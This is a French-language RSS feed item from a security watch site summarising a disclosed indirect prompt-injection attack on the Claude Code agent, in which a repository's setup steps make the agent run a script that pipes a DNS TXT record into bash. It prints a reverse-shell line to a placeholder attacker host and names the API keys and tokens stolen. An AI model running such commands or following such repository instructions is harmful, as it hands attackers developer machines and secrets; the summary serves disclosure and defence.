<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Reverse Shell (Bash TCP) on CyberVeille</title>
    <link>https://cyberveille.ch/tags/reverse-shell-bash-tcp/</link>
    <description>Recent content in Reverse Shell (Bash TCP) on CyberVeille</description>
    <generator>Hugo -- 0.146.0</generator>
    <language>fr-fr</language>
    <copyright>Cyberveille CC BY-NC-SA 4.0</copyright>
    <lastBuildDate>Mon, 29 Jun 2026 00:00:00 +0000</lastBuildDate>
    <atom:link href="https://cyberveille.ch/tags/reverse-shell-bash-tcp/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Injection de prompt indirecte via DNS TXT : compromission totale via Claude Code à l&#39;ouverture d&#39;un dépôt</title>
      <link>https://cyberveille.ch/posts/2026-06-29-injection-de-prompt-indirecte-via-dns-txt-compromission-totale-via-claude-code-a-l-ouverture-d-un-depot/</link>
      <pubDate>Mon, 29 Jun 2026 00:00:00 +0000</pubDate>
      <guid>https://cyberveille.ch/posts/2026-06-29-injection-de-prompt-indirecte-via-dns-txt-compromission-totale-via-claude-code-a-l-ouverture-d-un-depot/</guid>
      <description>&lt;h2 id=&#34;-contexte&#34;&gt;🔍 Contexte&lt;/h2&gt;
&lt;p&gt;Publié le 25 juin 2026 par Andre Hall &amp;amp; Miller Engelbrecht sur le blog de 0DIN (plateforme de bug bounty IA de Mozilla), cet article présente une démonstration technique d&amp;rsquo;une attaque par &lt;strong&gt;injection de prompt indirecte&lt;/strong&gt; ciblant les outils de développement agentiques, en particulier &lt;strong&gt;Claude Code&lt;/strong&gt; d&amp;rsquo;Anthropic.&lt;/p&gt;
&lt;h2 id=&#34;-mécanisme-de-lattaque&#34;&gt;⚙️ Mécanisme de l&amp;rsquo;attaque&lt;/h2&gt;
&lt;p&gt;L&amp;rsquo;attaque repose sur trois composants enchaînés, chacun individuellement bénin :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Un dépôt GitHub normal&lt;/strong&gt; : un fichier README ou issue décrit une procédure d&amp;rsquo;initialisation standard (&lt;code&gt;pip3 install -r requirements.txt&lt;/code&gt; puis &lt;code&gt;python3 -m axiom init&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Un package Python qui échoue intentionnellement&lt;/strong&gt; : le module &lt;code&gt;axiom&lt;/code&gt; lève une &lt;code&gt;RuntimeError&lt;/code&gt; s&amp;rsquo;il n&amp;rsquo;est pas initialisé, incitant l&amp;rsquo;agent à exécuter &lt;code&gt;python3 -m axiom init&lt;/code&gt; comme correction de routine.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Un script d&amp;rsquo;initialisation qui résout un enregistrement DNS TXT&lt;/strong&gt; : &lt;code&gt;scripts/setup.sh&lt;/code&gt; exécute &lt;code&gt;dig +short TXT _axiom-config.m100.cloud @1.1.1.1&lt;/code&gt; et passe le résultat à &lt;code&gt;bash -c&lt;/code&gt;. L&amp;rsquo;enregistrement DNS contient un &lt;strong&gt;reverse shell encodé en base64&lt;/strong&gt; (&lt;code&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;attacker-host&amp;gt;/4443 0&amp;gt;&amp;amp;1&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;-impact&#34;&gt;💥 Impact&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Shell interactif&lt;/strong&gt; s&amp;rsquo;exécutant avec les droits de l&amp;rsquo;utilisateur développeur&lt;/li&gt;
&lt;li&gt;Exfiltration de secrets d&amp;rsquo;environnement : &lt;code&gt;ANTHROPIC_API_KEY&lt;/code&gt;, &lt;code&gt;AWS_SECRET_ACCESS_KEY&lt;/code&gt;, &lt;code&gt;GITHUB_TOKEN&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Possibilité de &lt;strong&gt;persistance&lt;/strong&gt; (clé SSH, cron job, backdoor)&lt;/li&gt;
&lt;li&gt;Le payload est &lt;strong&gt;invisible&lt;/strong&gt; : absent du dépôt, non détectable par les scanners statiques, jamais évalué par l&amp;rsquo;agent avant exécution&lt;/li&gt;
&lt;li&gt;Le payload peut être &lt;strong&gt;modifié à tout moment&lt;/strong&gt; en éditant l&amp;rsquo;enregistrement DNS, sans aucun commit&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;-vecteur-de-diffusion&#34;&gt;🎯 Vecteur de diffusion&lt;/h2&gt;
&lt;p&gt;Un simple lien vers le dépôt partagé dans une offre d&amp;rsquo;emploi, un tutoriel ou un message Slack suffit à compromettre tout développeur ouvrant le projet avec Claude Code.&lt;/p&gt;</description>
    </item>
  </channel>
</rss>
